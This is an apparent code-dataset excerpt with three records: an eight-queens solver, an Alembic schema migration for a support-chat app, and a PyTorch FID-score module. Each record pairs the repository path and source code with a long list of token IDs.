1051,
29918,
7241,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29892,
1024,
1125,
13,
4706,
736,
679,
5552,
29898,
1311,
29892,
1024,
29897,
13,
13,
1678,
822,
4770,
842,
667,
12035,
1311,
29892,
1024,
29892,
995,
1125,
13,
4706,
736,
731,
5552,
29898,
1311,
29892,
1024,
29892,
995,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
851,
29918,
29872,
353,
1583,
29889,
1563,
17255,
710,
1649,
580,
565,
1583,
29889,
1563,
1683,
6213,
13,
4706,
851,
29918,
29881,
353,
1583,
29889,
1266,
17255,
710,
1649,
580,
565,
1583,
29889,
1266,
1683,
6213,
13,
4706,
565,
451,
313,
710,
29918,
29872,
470,
851,
29918,
29881,
1125,
13,
9651,
736,
285,
29915,
29961,
3319,
1311,
29889,
333,
1800,
29962,
29915,
13,
4706,
736,
285,
29915,
29961,
3319,
1311,
29889,
333,
1800,
426,
710,
29918,
29872,
1118,
426,
710,
29918,
29881,
6525,
29915,
308,
13,
2
] |
run.py | RecepVural/Eight-Queens | 0 | 1604614 | #libraries are imported
import numpy as np
import random
# Chess table is created
a=['|',' ','|',' ','|',' ','|',' ','|',' ','|',' ','|',' ','|',' ','|']
chart= np.array([a,a,a,a,a,a,a,a],dtype=object)
chart2= chart.copy()
list1=[]
# possible columns are listed and first random selection is performed
columns_list=[1,3,5,7,9,11,13,15]
n_column=random.choice(columns_list)
chart[0][n_column]='Q'
list1.append(n_column)
columns_list.remove(n_column)# used column is removed from column list
i=1
while i<8:
y,p=0,0
while True:
y=0
# column is randomly chosen from column list
n_column=random.choice(columns_list)
#Diagonals of randomly chosen column is checked if they match with other queens
for j in list1:
w=i-list1.index(j)
if n_column!=j-(2*w) and n_column!=j+(2*w):
y=y
else:
y=y+1
p=p+1
# if unsolvable situation is occured ,queens are take back and leaved from for loop with break
if p>4:
mask=chart=='Q'
chart[mask]=' '
comp1=chart==chart2
if comp1.all():
i=1
break
# leaved from while loop with break
if comp1.all():
break
# if conditions are proper. Q is placed. Placed colums is removed
if y==0 :
chart[i][n_column]='Q'
list1.append(n_column)
columns_list.remove(n_column)
i=i+1
break
# selection is start again here, with continue function go back to start of while loop.
if comp1.all():
mask=chart=='Q'
chart[mask]=' '
list1=[]
columns_list=[1,3,5,7,9,11,13,15]
n_column=random.choice(columns_list)
chart[0][n_column]='Q'
list1.append(n_column)
columns_list.remove(n_column)
i=1
continue
#cheess table is printed.
for i in range(8):
print(''.join(chart[i]))
| [
1,
396,
492,
8464,
526,
19673,
13,
5215,
12655,
408,
7442,
13,
5215,
4036,
13,
13,
29937,
678,
404,
1591,
338,
2825,
13,
29874,
29922,
1839,
29989,
3788,
525,
5501,
29989,
3788,
525,
5501,
29989,
3788,
525,
5501,
29989,
3788,
525,
5501,
29989,
3788,
525,
5501,
29989,
3788,
525,
5501,
29989,
3788,
525,
5501,
29989,
3788,
525,
5501,
29989,
2033,
13,
15425,
29922,
7442,
29889,
2378,
4197,
29874,
29892,
29874,
29892,
29874,
29892,
29874,
29892,
29874,
29892,
29874,
29892,
29874,
29892,
29874,
1402,
29881,
1853,
29922,
3318,
29897,
13,
15425,
29906,
29922,
8727,
29889,
8552,
580,
13,
1761,
29896,
29922,
2636,
13,
29937,
1950,
4341,
526,
9904,
322,
937,
4036,
9262,
338,
8560,
13,
13099,
29918,
1761,
11759,
29896,
29892,
29941,
29892,
29945,
29892,
29955,
29892,
29929,
29892,
29896,
29896,
29892,
29896,
29941,
29892,
29896,
29945,
29962,
13,
29876,
29918,
4914,
29922,
8172,
29889,
16957,
29898,
13099,
29918,
1761,
29897,
13,
15425,
29961,
29900,
3816,
29876,
29918,
4914,
29962,
2433,
29984,
29915,
13,
1761,
29896,
29889,
4397,
29898,
29876,
29918,
4914,
29897,
13,
13099,
29918,
1761,
29889,
5992,
29898,
29876,
29918,
4914,
29897,
29937,
1304,
1897,
338,
6206,
515,
1897,
1051,
13,
29875,
29922,
29896,
13,
13,
8000,
474,
29966,
29947,
29901,
13,
1678,
343,
29892,
29886,
29922,
29900,
29892,
29900,
13,
1678,
1550,
5852,
29901,
13,
4706,
343,
29922,
29900,
13,
4706,
396,
1897,
338,
20459,
10434,
515,
1897,
1051,
13,
4706,
302,
29918,
4914,
29922,
8172,
29889,
16957,
29898,
13099,
29918,
1761,
29897,
13,
4706,
396,
12130,
12841,
1338,
310,
20459,
10434,
1897,
338,
7120,
565,
896,
1993,
411,
916,
712,
575,
13,
4706,
363,
432,
297,
1051,
29896,
29901,
259,
13,
9651,
281,
29922,
29875,
29899,
1761,
29896,
29889,
2248,
29898,
29926,
29897,
13,
9651,
565,
302,
29918,
4914,
19216,
29926,
17722,
29906,
29930,
29893,
29897,
322,
302,
29918,
4914,
19216,
29926,
17108,
29906,
29930,
29893,
1125,
13,
18884,
343,
29922,
29891,
13,
9651,
1683,
29901,
13,
18884,
343,
29922,
29891,
29974,
29896,
13,
18884,
282,
29922,
29886,
29974,
29896,
13,
4706,
396,
565,
443,
2929,
29894,
519,
6434,
338,
2179,
2955,
1919,
802,
575,
526,
2125,
1250,
322,
454,
10511,
515,
363,
2425,
411,
2867,
13,
9651,
565,
282,
29958,
29946,
29901,
13,
18884,
11105,
29922,
15425,
1360,
29915,
29984,
29915,
13,
18884,
8727,
29961,
13168,
29962,
2433,
525,
13,
9651,
752,
29896,
29922,
15425,
1360,
15425,
29906,
13,
9651,
565,
752,
29896,
29889,
497,
7295,
13,
18884,
474,
29922,
29896,
13,
18884,
2867,
13,
4706,
396,
454,
10511,
515,
1550,
2425,
411,
2867,
13,
4706,
565,
752,
29896,
29889,
497,
7295,
13,
18884,
2867,
13,
4706,
396,
565,
5855,
526,
1571,
29889,
660,
338,
7180,
29889,
13494,
1133,
784,
6762,
338,
6206,
13,
4706,
565,
343,
1360,
29900,
584,
13,
9651,
8727,
29961,
29875,
3816,
29876,
29918,
4914,
29962,
2433,
29984,
29915,
29871,
13,
9651,
1051,
29896,
29889,
4397,
29898,
29876,
29918,
4914,
29897,
13,
9651,
4341,
29918,
1761,
29889,
5992,
29898,
29876,
29918,
4914,
29897,
13,
9651,
474,
29922,
29875,
29974,
29896,
29871,
13,
9651,
2867,
13,
1678,
396,
9262,
338,
1369,
1449,
1244,
29892,
411,
6773,
740,
748,
1250,
304,
1369,
310,
1550,
2425,
29889,
268,
13,
1678,
565,
752,
29896,
29889,
497,
7295,
13,
539,
11105,
29922,
15425,
1360,
29915,
29984,
29915,
13,
539,
8727,
29961,
13168,
29962,
2433,
525,
13,
539,
1051,
29896,
29922,
2636,
13,
539,
4341,
29918,
1761,
11759,
29896,
29892,
29941,
29892,
29945,
29892,
29955,
29892,
29929,
29892,
29896,
29896,
29892,
29896,
29941,
29892,
29896,
29945,
29962,
13,
539,
302,
29918,
4914,
29922,
8172,
29889,
16957,
29898,
13099,
29918,
1761,
29897,
13,
539,
8727,
29961,
29900,
3816,
29876,
29918,
4914,
29962,
2433,
29984,
29915,
539,
13,
539,
1051,
29896,
29889,
4397,
29898,
29876,
29918,
4914,
29897,
13,
539,
4341,
29918,
1761,
29889,
5992,
29898,
29876,
29918,
4914,
29897,
13,
539,
474,
29922,
29896,
13,
539,
6773,
1678,
13,
13,
29937,
1173,
404,
1591,
338,
13350,
29889,
13,
1454,
474,
297,
3464,
29898,
29947,
1125,
13,
1678,
1596,
877,
4286,
7122,
29898,
15425,
29961,
29875,
12622,
13,
268,
13,
268,
13,
268,
13,
268,
13,
268,
13,
13,
2
] |
scripts/migrations/versions/200e7ea0e64b_create_base_schema.py | hqhs/gosupport | 0 | 173685 | <gh_stars>0
"""Create base schema
Revision ID: 200e7ea0e64b
Revises:
Create Date: 2019-02-16 12:15:59.212678
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '2<PASSWORD>'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
op.create_table(
'admins',
sa.Column('id', sa.Integer, primary_key=True, index=True),
sa.Column('created_at', sa.DateTime),
sa.Column('updated_at', sa.DateTime),
sa.Column('email', sa.String(256), nullable=False, index=True, unique=True),
sa.Column('name', sa.String(256)),
sa.Column('hashed_password', sa.String(256), nullable=False),
sa.Column('is_superuser', sa.Boolean, nullable=False),
sa.Column('is_active', sa.Boolean, nullable=False),
sa.Column('email_confirmed', sa.Boolean, nullable=False),
sa.Column('auth_token', sa.String(64)),
sa.Column('password_reset_token', sa.String(64)),
)
# FIXME separate messangers should have separate tables
op.create_table(
'users',
sa.Column('user_id', sa.Integer, primary_key=True, nullable=False, index=True),
sa.Column('created_at', sa.DateTime),
sa.Column('updated_at', sa.DateTime),
sa.Column('chat_id', sa.BigInteger, nullable=False),
sa.Column('email', sa.String(256), index=True),
sa.Column('name', sa.String(256)),
sa.Column('username', sa.String(256)),
sa.Column('has_unread_messages', sa.Boolean, nullable=False),
)
op.create_table(
'messages',
sa.Column('id', sa.Integer, primary_key=True),
sa.Column('user_id', sa.Integer, sa.ForeignKey('users.user_id', ondelete="CASCADE"), nullable=False, index=True),
sa.Column('message_id', sa.Integer, index=True, unique=True),
sa.Column('is_broadcast', sa.Boolean, nullable=False),
sa.Column('from_admin', sa.Boolean, nullable=False),
sa.Column('created_at', sa.DateTime),
sa.Column('updated_at', sa.DateTime),
sa.Column('text', sa.String(4000), nullable=False),
sa.Column('reply_to_message', sa.Integer),
sa.Column('document_id', sa.String, nullable=False),
sa.Column('photo_id', sa.String, nullable=False),
)
op.add_column('users',
sa.Column('last_message_id', sa.Integer, sa.ForeignKey('messages.message_id', ondelete="CASCADE"), index=True),
)
def downgrade():
op.drop_table('admins')
op.drop_table('users')
op.drop_table('messages')
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
4391,
2967,
10938,
13,
13,
1123,
4924,
3553,
29901,
29871,
29906,
29900,
29900,
29872,
29955,
11248,
29900,
29872,
29953,
29946,
29890,
13,
1123,
1730,
267,
29901,
29871,
13,
4391,
4712,
29901,
29871,
29906,
29900,
29896,
29929,
29899,
29900,
29906,
29899,
29896,
29953,
29871,
29896,
29906,
29901,
29896,
29945,
29901,
29945,
29929,
29889,
29906,
29896,
29906,
29953,
29955,
29947,
13,
13,
15945,
29908,
13,
3166,
20712,
29890,
293,
1053,
1015,
13,
5215,
4576,
284,
305,
6764,
408,
872,
13,
13,
13,
29937,
26554,
2893,
14903,
29892,
1304,
491,
319,
2409,
29890,
293,
29889,
13,
276,
4924,
353,
525,
29906,
29966,
25711,
17013,
16299,
13,
3204,
29918,
276,
4924,
353,
6213,
13,
17519,
29918,
21134,
353,
6213,
13,
2716,
1975,
29918,
265,
353,
6213,
13,
13,
13,
1753,
14955,
7295,
13,
1678,
1015,
29889,
3258,
29918,
2371,
29898,
13,
4706,
525,
328,
29885,
1144,
742,
13,
4706,
872,
29889,
4409,
877,
333,
742,
872,
29889,
7798,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
2380,
29922,
5574,
511,
13,
4706,
872,
29889,
4409,
877,
11600,
29918,
271,
742,
872,
29889,
11384,
511,
13,
4706,
872,
29889,
4409,
877,
21402,
29918,
271,
742,
872,
29889,
11384,
511,
13,
13,
4706,
872,
29889,
4409,
877,
5269,
742,
872,
29889,
1231,
29898,
29906,
29945,
29953,
511,
1870,
519,
29922,
8824,
29892,
2380,
29922,
5574,
29892,
5412,
29922,
5574,
511,
13,
4706,
872,
29889,
4409,
877,
978,
742,
872,
29889,
1231,
29898,
29906,
29945,
29953,
8243,
13,
4706,
872,
29889,
4409,
877,
8568,
287,
29918,
5630,
742,
872,
29889,
1231,
29898,
29906,
29945,
29953,
511,
1870,
519,
29922,
8824,
511,
13,
4706,
872,
29889,
4409,
877,
275,
29918,
9136,
1792,
742,
872,
29889,
18146,
29892,
1870,
519,
29922,
8824,
511,
13,
4706,
872,
29889,
4409,
877,
275,
29918,
4925,
742,
872,
29889,
18146,
29892,
1870,
519,
29922,
8824,
511,
13,
4706,
872,
29889,
4409,
877,
5269,
29918,
5527,
381,
2168,
742,
872,
29889,
18146,
29892,
1870,
519,
29922,
8824,
511,
13,
4706,
872,
29889,
4409,
877,
5150,
29918,
6979,
742,
872,
29889,
1231,
29898,
29953,
29946,
8243,
13,
4706,
872,
29889,
4409,
877,
5630,
29918,
12071,
29918,
6979,
742,
872,
29889,
1231,
29898,
29953,
29946,
8243,
13,
1678,
1723,
13,
1678,
396,
383,
6415,
2303,
5004,
4473,
13873,
881,
505,
5004,
6131,
13,
1678,
1015,
29889,
3258,
29918,
2371,
29898,
13,
4706,
525,
7193,
742,
13,
4706,
872,
29889,
4409,
877,
1792,
29918,
333,
742,
872,
29889,
7798,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
1870,
519,
29922,
8824,
29892,
2380,
29922,
5574,
511,
13,
4706,
872,
29889,
4409,
877,
11600,
29918,
271,
742,
872,
29889,
11384,
511,
13,
4706,
872,
29889,
4409,
877,
21402,
29918,
271,
742,
872,
29889,
11384,
511,
13,
13,
4706,
872,
29889,
4409,
877,
13496,
29918,
333,
742,
872,
29889,
6970,
7798,
29892,
1870,
519,
29922,
8824,
511,
13,
4706,
872,
29889,
4409,
877,
5269,
742,
872,
29889,
1231,
29898,
29906,
29945,
29953,
511,
2380,
29922,
5574,
511,
13,
4706,
872,
29889,
4409,
877,
978,
742,
872,
29889,
1231,
29898,
29906,
29945,
29953,
8243,
13,
4706,
872,
29889,
4409,
877,
6786,
742,
872,
29889,
1231,
29898,
29906,
29945,
29953,
8243,
13,
4706,
872,
29889,
4409,
877,
5349,
29918,
348,
949,
29918,
19158,
742,
872,
29889,
18146,
29892,
1870,
519,
29922,
8824,
511,
13,
1678,
1723,
13,
1678,
1015,
29889,
3258,
29918,
2371,
29898,
13,
4706,
525,
19158,
742,
13,
4706,
872,
29889,
4409,
877,
333,
742,
872,
29889,
7798,
29892,
7601,
29918,
1989,
29922,
5574,
511,
13,
4706,
872,
29889,
4409,
877,
1792,
29918,
333,
742,
872,
29889,
7798,
29892,
872,
29889,
27755,
2558,
877,
7193,
29889,
1792,
29918,
333,
742,
373,
8143,
543,
29907,
3289,
5454,
2287,
4968,
1870,
519,
29922,
8824,
29892,
2380,
29922,
5574,
511,
13,
4706,
872,
29889,
4409,
877,
4906,
29918,
333,
742,
872,
29889,
7798,
29892,
2380,
29922,
5574,
29892,
5412,
29922,
5574,
511,
13,
4706,
872,
29889,
4409,
877,
275,
29918,
6729,
328,
4384,
742,
872,
29889,
18146,
29892,
1870,
519,
29922,
8824,
511,
13,
4706,
872,
29889,
4409,
877,
3166,
29918,
6406,
742,
872,
29889,
18146,
29892,
1870,
519,
29922,
8824,
511,
13,
4706,
872,
29889,
4409,
877,
11600,
29918,
271,
742,
872,
29889,
11384,
511,
13,
4706,
872,
29889,
4409,
877,
21402,
29918,
271,
742,
872,
29889,
11384,
511,
13,
4706,
872,
29889,
4409,
877,
726,
742,
872,
29889,
1231,
29898,
29946,
29900,
29900,
29900,
511,
1870,
519,
29922,
8824,
511,
13,
4706,
872,
29889,
4409,
877,
3445,
368,
29918,
517,
29918,
4906,
742,
872,
29889,
7798,
511,
13,
4706,
872,
29889,
4409,
877,
3225,
29918,
333,
742,
872,
29889,
1231,
29892,
1870,
519,
29922,
8824,
511,
13,
4706,
872,
29889,
4409,
877,
21596,
29918,
333,
742,
872,
29889,
1231,
29892,
1870,
519,
29922,
8824,
511,
13,
1678,
1723,
13,
1678,
1015,
29889,
1202,
29918,
4914,
877,
7193,
742,
13,
4706,
872,
29889,
4409,
877,
4230,
29918,
4906,
29918,
333,
742,
872,
29889,
7798,
29892,
872,
29889,
27755,
2558,
877,
19158,
29889,
4906,
29918,
333,
742,
373,
8143,
543,
29907,
3289,
5454,
2287,
4968,
2380,
29922,
5574,
511,
13,
1678,
1723,
13,
13,
13,
1753,
1623,
8228,
7295,
13,
1678,
1015,
29889,
8865,
29918,
2371,
877,
328,
29885,
1144,
1495,
13,
1678,
1015,
29889,
8865,
29918,
2371,
877,
7193,
1495,
13,
1678,
1015,
29889,
8865,
29918,
2371,
877,
19158,
1495,
13,
2
] |
metrics/fid/fid_score.py | vfcosta/coegan-trained | 0 | 21965 | # Code apapted from https://github.com/mseitzer/pytorch-fid
"""Calculates the Frechet Inception Distance (FID) to evalulate GANs
The FID metric calculates the distance between two distributions of images.
Typically, we have summary statistics (mean & covariance matrix) of one
of these distributions, while the 2nd distribution is given by a GAN.
When run as a stand-alone program, it compares the distribution of
images that are stored as PNG/JPEG at a specified location with a
distribution given by summary statistics (in pickle format).
The FID is calculated by assuming that X_1 and X_2 are the activations of
the pool_3 layer of the inception net for generated samples and real world
samples respectively.
See --help to see further details.
Code apapted from https://github.com/bioinf-jku/TTUR to use PyTorch instead
of Tensorflow
Copyright 2018 Institute of Bioinformatics, JKU Linz
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import time
import numpy as np
import torch
from scipy import linalg
from torch.nn.functional import adaptive_avg_pool2d
from util import tools
def get_activations(dataset, model, size=1000, batch_size=50, dims=2048, device='cpu'):
"""Calculates the activations of the pool_3 layer for all images.
Params:
-- files : List of image files paths
-- model : Instance of inception model
-- batch_size : Batch size of images for the model to process at once.
Make sure that the number of samples is a multiple of
the batch size, otherwise some samples are ignored. This
behavior is retained to match the original FID score
implementation.
-- dims : Dimensionality of features returned by Inception
-- device : Device to run calculations
Returns:
-- A numpy array of dimension (num images, dims) that contains the
activations of the given tensor when feeding inception with the
query tensor.
"""
model.eval()
if batch_size > size:
print(('Warning: batch size is bigger than the data size. '
'Setting batch size to data size'))
batch_size = size
dataloader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=False, drop_last=False)
pred_arr = np.empty((size, dims))
start_idx = 0
for batch, _ in dataloader:
if batch.shape[1] == 1:
batch = torch.cat((batch, batch, batch), 1)
batch = batch.to(device)
with torch.no_grad():
pred = model(batch)[0]
# If model output is not scalar, apply global spatial average pooling.
# This happens if you choose a dimensionality not equal 2048.
if pred.size(2) != 1 or pred.size(3) != 1:
pred = adaptive_avg_pool2d(pred, output_size=(1, 1))
pred = pred.squeeze(3).squeeze(2).cpu().numpy()
pred_arr[start_idx:start_idx + pred.shape[0]] = pred
start_idx = start_idx + pred.shape[0]
if start_idx >= size:
break
return pred_arr
def calculate_frechet_distance(mu1, sigma1, mu2, sigma2, eps=1e-6):
"""Numpy implementation of the Frechet Distance.
The Frechet distance between two multivariate Gaussians X_1 ~ N(mu_1, C_1)
and X_2 ~ N(mu_2, C_2) is
d^2 = ||mu_1 - mu_2||^2 + Tr(C_1 + C_2 - 2*sqrt(C_1*C_2)).
Stable version by <NAME>.
Params:
-- mu1 : Numpy array containing the activations of a layer of the
inception net (like returned by the function 'get_predictions')
for generated samples.
-- mu2 : The sample mean over activations, precalculated on an
representative data set.
-- sigma1: The covariance matrix over activations for generated samples.
-- sigma2: The covariance matrix over activations, precalculated on an
representative data set.
Returns:
-- : The Frechet Distance.
"""
mu1 = np.atleast_1d(mu1)
mu2 = np.atleast_1d(mu2)
sigma1 = np.atleast_2d(sigma1)
sigma2 = np.atleast_2d(sigma2)
assert mu1.shape == mu2.shape, 'Training and test mean vectors have different lengths'
assert sigma1.shape == sigma2.shape, 'Training and test covariances have different dimensions'
diff = mu1 - mu2
# Product might be almost singular
start_time = time.time()
covmean, _ = linalg.sqrtm(sigma1.dot(sigma2), disp=False)
print("FID: sqrtm --- %s seconds ---" % (time.time() - start_time))
if not np.isfinite(covmean).all():
msg = ('fid calculation produces singular product; '
'adding %s to diagonal of cov estimates') % eps
print(msg)
offset = np.eye(sigma1.shape[0]) * eps
covmean = linalg.sqrtm((sigma1 + offset).dot(sigma2 + offset))
# Numerical error might give slight imaginary component
if np.iscomplexobj(covmean):
if not np.allclose(np.diagonal(covmean).imag, 0, atol=1e-3):
m = np.max(np.abs(covmean.imag))
# raise ValueError('Imaginary component {}'.format(m))
print('Imaginary component {}'.format(m))
covmean = covmean.real
tr_covmean = np.trace(covmean)
return diff.dot(diff) + np.trace(sigma1) + np.trace(sigma2) - 2 * tr_covmean
def calculate_activation_statistics(dataset, model, size=1000, batch_size=50, dims=2048):
act = get_activations(dataset, model, size, batch_size, dims, tools.device_name())
mu = np.mean(act, axis=0)
sigma = np.cov(act, rowvar=False)
return mu, sigma
| [
1,
396,
5920,
3095,
2156,
287,
515,
2045,
597,
3292,
29889,
510,
29914,
29885,
344,
13510,
29914,
2272,
7345,
305,
29899,
29888,
333,
13,
13,
15945,
29908,
27065,
1078,
278,
3878,
305,
300,
512,
1441,
6652,
749,
313,
29943,
1367,
29897,
304,
19745,
5987,
402,
2190,
29879,
13,
1576,
383,
1367,
12714,
3408,
1078,
278,
5418,
1546,
1023,
18822,
310,
4558,
29889,
13,
24933,
1711,
29892,
591,
505,
15837,
13964,
313,
12676,
669,
18838,
279,
8837,
4636,
29897,
310,
697,
13,
974,
1438,
18822,
29892,
1550,
278,
29871,
29906,
299,
4978,
338,
2183,
491,
263,
402,
2190,
29889,
13,
10401,
1065,
408,
263,
2317,
29899,
18785,
1824,
29892,
372,
752,
5114,
278,
4978,
310,
13,
8346,
393,
526,
6087,
408,
349,
9312,
29914,
29967,
4162,
29954,
472,
263,
6790,
4423,
411,
263,
13,
27691,
2183,
491,
15837,
13964,
313,
262,
5839,
280,
3402,
467,
13,
1576,
383,
1367,
338,
12833,
491,
10241,
393,
1060,
29918,
29896,
322,
1060,
29918,
29906,
526,
278,
5039,
800,
310,
13,
1552,
11565,
29918,
29941,
7546,
310,
278,
297,
1441,
7787,
363,
5759,
11916,
322,
1855,
3186,
13,
27736,
8307,
29889,
13,
13393,
1192,
8477,
304,
1074,
4340,
4902,
29889,
13,
3399,
3095,
2156,
287,
515,
2045,
597,
3292,
29889,
510,
29914,
24840,
7192,
29899,
29926,
2120,
29914,
19988,
4574,
304,
671,
10772,
29911,
25350,
2012,
13,
974,
323,
6073,
1731,
13,
11882,
1266,
29871,
29906,
29900,
29896,
29947,
8907,
310,
21184,
262,
4830,
1199,
29892,
435,
29968,
29965,
4342,
29920,
13,
29931,
293,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
6293,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
3492,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
259,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
2525,
2222,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
5721,
7541,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29956,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
13393,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
13400,
800,
1090,
278,
19245,
29889,
13,
15945,
29908,
13,
5215,
931,
13,
5215,
12655,
408,
7442,
13,
5215,
4842,
305,
13,
3166,
4560,
2272,
1053,
301,
979,
29887,
13,
3166,
4842,
305,
29889,
15755,
29889,
2220,
284,
1053,
7744,
573,
29918,
485,
29887,
29918,
10109,
29906,
29881,
13,
3166,
3667,
1053,
8492,
13,
13,
13,
1753,
679,
29918,
11236,
800,
29898,
24713,
29892,
1904,
29892,
2159,
29922,
29896,
29900,
29900,
29900,
29892,
9853,
29918,
2311,
29922,
29945,
29900,
29892,
3964,
29879,
29922,
29906,
29900,
29946,
29947,
29892,
4742,
2433,
21970,
29374,
13,
1678,
9995,
27065,
1078,
278,
5039,
800,
310,
278,
11565,
29918,
29941,
7546,
363,
599,
4558,
29889,
13,
1678,
1459,
2232,
29901,
13,
1678,
1192,
2066,
539,
584,
2391,
310,
1967,
2066,
10898,
13,
1678,
1192,
1904,
539,
584,
2799,
749,
310,
297,
1441,
1904,
13,
1678,
1192,
9853,
29918,
2311,
29871,
584,
350,
905,
2159,
310,
4558,
363,
278,
1904,
304,
1889,
472,
2748,
29889,
13,
462,
268,
8561,
1854,
393,
278,
1353,
310,
11916,
338,
263,
2999,
310,
13,
462,
268,
278,
9853,
2159,
29892,
6467,
777,
11916,
526,
17262,
29889,
910,
13,
462,
268,
6030,
338,
26060,
304,
1993,
278,
2441,
383,
1367,
8158,
13,
462,
268,
5314,
29889,
13,
1678,
1192,
3964,
29879,
4706,
584,
4792,
8180,
537,
310,
5680,
4133,
491,
512,
1441,
13,
1678,
1192,
4742,
418,
584,
21830,
304,
1065,
17203,
13,
1678,
16969,
29901,
13,
1678,
1192,
319,
12655,
1409,
310,
9927,
313,
1949,
4558,
29892,
3964,
29879,
29897,
393,
3743,
278,
13,
539,
5039,
800,
310,
278,
2183,
12489,
746,
8343,
292,
297,
1441,
411,
278,
13,
539,
2346,
12489,
29889,
13,
1678,
9995,
13,
1678,
1904,
29889,
14513,
580,
13,
13,
1678,
565,
9853,
29918,
2311,
1405,
2159,
29901,
13,
4706,
1596,
29898,
877,
22709,
29901,
9853,
2159,
338,
16600,
1135,
278,
848,
2159,
29889,
525,
13,
1669,
525,
29020,
9853,
2159,
304,
848,
2159,
8785,
13,
4706,
9853,
29918,
2311,
353,
2159,
13,
13,
1678,
1418,
7003,
1664,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
24713,
29892,
9853,
29918,
2311,
29922,
16175,
29918,
2311,
29892,
528,
21897,
29922,
8824,
29892,
5768,
29918,
4230,
29922,
8824,
29897,
13,
13,
1678,
4450,
29918,
2749,
353,
7442,
29889,
6310,
3552,
2311,
29892,
3964,
29879,
876,
13,
1678,
1369,
29918,
13140,
353,
29871,
29900,
13,
13,
1678,
363,
9853,
29892,
903,
297,
1418,
7003,
1664,
29901,
13,
4706,
565,
9853,
29889,
12181,
29961,
29896,
29962,
1275,
29871,
29896,
29901,
13,
9651,
9853,
353,
4842,
305,
29889,
4117,
3552,
16175,
29892,
9853,
29892,
9853,
511,
29871,
29896,
29897,
13,
4706,
9853,
353,
9853,
29889,
517,
29898,
10141,
29897,
13,
4706,
411,
4842,
305,
29889,
1217,
29918,
5105,
7295,
13,
9651,
4450,
353,
1904,
29898,
16175,
9601,
29900,
29962,
13,
13,
4706,
396,
960,
1904,
1962,
338,
451,
17336,
29892,
3394,
5534,
18652,
6588,
11565,
292,
29889,
13,
4706,
396,
910,
5930,
565,
366,
6755,
263,
22112,
537,
451,
5186,
29871,
29906,
29900,
29946,
29947,
29889,
13,
4706,
565,
4450,
29889,
2311,
29898,
29906,
29897,
2804,
29871,
29896,
470,
4450,
29889,
2311,
29898,
29941,
29897,
2804,
29871,
29896,
29901,
13,
9651,
4450,
353,
7744,
573,
29918,
485,
29887,
29918,
10109,
29906,
29881,
29898,
11965,
29892,
1962,
29918,
2311,
7607,
29896,
29892,
29871,
29896,
876,
13,
13,
4706,
4450,
353,
4450,
29889,
29879,
802,
29872,
911,
29898,
29941,
467,
29879,
802,
29872,
911,
29898,
29906,
467,
21970,
2141,
23749,
580,
13,
4706,
4450,
29918,
2749,
29961,
2962,
29918,
13140,
29901,
2962,
29918,
13140,
718,
4450,
29889,
12181,
29961,
29900,
5262,
353,
4450,
13,
4706,
1369,
29918,
13140,
353,
1369,
29918,
13140,
718,
4450,
29889,
12181,
29961,
29900,
29962,
13,
4706,
565,
1369,
29918,
13140,
6736,
2159,
29901,
13,
9651,
2867,
13,
1678,
736,
4450,
29918,
2749,
13,
13,
13,
1753,
8147,
29918,
10745,
305,
300,
29918,
19244,
29898,
2589,
29896,
29892,
269,
2934,
29896,
29892,
3887,
29906,
29892,
269,
2934,
29906,
29892,
321,
567,
29922,
29896,
29872,
29899,
29953,
1125,
13,
1678,
9995,
8009,
2272,
5314,
310,
278,
3878,
305,
300,
6652,
749,
29889,
13,
1678,
450,
3878,
305,
300,
5418,
1546,
1023,
1773,
27432,
403,
402,
1485,
1039,
550,
1060,
29918,
29896,
3695,
405,
29898,
2589,
29918,
29896,
29892,
315,
29918,
29896,
29897,
13,
1678,
322,
1060,
29918,
29906,
3695,
405,
29898,
2589,
29918,
29906,
29892,
315,
29918,
29906,
29897,
338,
13,
9651,
270,
29985,
29906,
353,
3830,
2589,
29918,
29896,
448,
3887,
29918,
29906,
8876,
29985,
29906,
718,
1605,
29898,
29907,
29918,
29896,
718,
315,
29918,
29906,
448,
29871,
29906,
29930,
3676,
29898,
29907,
29918,
29896,
29930,
29907,
29918,
29906,
8106,
13,
1678,
624,
519,
1873,
491,
529,
5813,
15513,
13,
1678,
1459,
2232,
29901,
13,
1678,
1192,
3887,
29896,
259,
584,
11848,
2272,
1409,
6943,
278,
5039,
800,
310,
263,
7546,
310,
278,
13,
1669,
297,
1441,
7787,
313,
4561,
4133,
491,
278,
740,
525,
657,
29918,
27711,
1080,
1495,
13,
1669,
363,
5759,
11916,
29889,
13,
1678,
1192,
3887,
29906,
259,
584,
450,
4559,
2099,
975,
5039,
800,
29892,
758,
15807,
630,
373,
385,
13,
1669,
21097,
848,
731,
29889,
13,
1678,
1192,
269,
2934,
29896,
29901,
450,
18838,
279,
8837,
4636,
975,
5039,
800,
363,
5759,
11916,
29889,
13,
1678,
1192,
